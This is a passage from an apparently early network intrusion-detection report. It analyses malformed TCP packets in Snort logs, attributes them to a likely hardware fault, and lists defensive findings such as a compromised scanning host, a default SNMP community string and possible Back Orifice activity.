06/11-03:07:16.106070 MY.NET.217.186:6700 -> 63.10.157.250:1061
TCP TTL:126 TOS:0x0 ID:8368  DF
21SFR**U Seq: 0xDE0   Ack: 0x6C56012A   Win: 0x5010
```

The first item of note are the TCP flags, which are all invalid. Also, the sequence numbers always contain the byte-string "DE0".

Later in the same log file, some packets from the outside (a cable modem) destined to the default Gnutella port arrive, also mangled:

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-07:02:48.079933 24.165.238.27:2952 -> MY.NET.217.114:6346
TCP TTL:111 TOS:0x0 ID:34567
2*SFRPAU Seq: 0x1028D   Ack: 0xA1AB0209   Win: 0x5018
36 7F 50 18 FF 44 31 52 00 00 A2 51 74 61 23 3F  6.P..D1R...Qta#?
D4 11 8D 67 44 45                                ...gDE

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-07:17:59.233644 24.165.238.27:2952 -> MY.NET.217.114:6346
TCP TTL:111 TOS:0x0 ID:52144
2*SF***U Seq: 0x10293   Ack: 0x70AE020F   Win: 0x5018
00 01 02 93 70 AE 02 0F 1B 63 50 18 FF 09 0F 15  ....p....cP.....
00 00 34 35 35 37 36 36 34 35 32 33 30 32        ..455766452302

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-07:18:03.633196 24.165.238.27:2952 -> MY.NET.217.114:6346
TCP TTL:111 TOS:0x0 ID:57522
*1SF***U Seq: 0x2937750   Ack: 0x1020F   Win: 0x5018
00 01 02 0F 21 A3 50 18 FF CE 02 E0 00 00 40 A4  ....!.P.......@.
CB C8 E0 02 32 44 BF 83 F5 7C                    ....2D...|
```

Note the apparently random TCP flags once again. Interestingly, in the second packet above, part of the TCP header seems to have found its way into the TCP data area: the sequence number, acknowledgement number, and window size are repeated in the first line of data, as shown in the bold text. If one looks at the TCP header format, in between the acknowledgement number and the window size is the header length and the TCP flag bits. Mapping the "1B 63" from the data section onto the TCP flag field gives the exact same flags that are set on this packet. For correlation, the "OOSche25.txt" log file has many similarly-corrupted packets.

These packets appear surprisingly similar to the "typical" corrupted Demon Internet packets, where some parts of the packet would be copied into other parts of the packet where they didn't belong. Given that the Demon Internet's explanation for that was a hardware problem, that may be a likely explanation in this case as well. Since these corrupted packets arrive from several different source addresses, and also appear as corrupted outgoing packets from our network, we should check for a local hardware problem first.

Conclusions

- MY.NET.253.12 is likely a compromised machine, as it was the source of many scans of the internal network. It should be investigated immediately.
- There is a likely hardware problem corrupting packets locally.

- There were outgoing telnet connections from MY.NET.161.121, MY.NET.163.32, and MY.NET.99.51 to machines at the Chinese Academy of Sciences. The importance of this depends on the site, but this is most likely worth investigating further.
- MY.NET.253.105 received over 15,000 port 8080 connections. This may be an unintentional proxy that is actively being used over the Internet, or it may be a valid port for web traffic, but should be investigated.
- The machine at MY.NET.101.192 has an SNMP community string of "public". This should be changed to something more secure.
- There is significant Napster and Gnutella activity. What should be done about this depends on the site's policy.
- MY.NET.97.127 may be running Back Orifice, given the slightly higher-than-average number of connections to port 31337 on it. This should be double-checked.

The End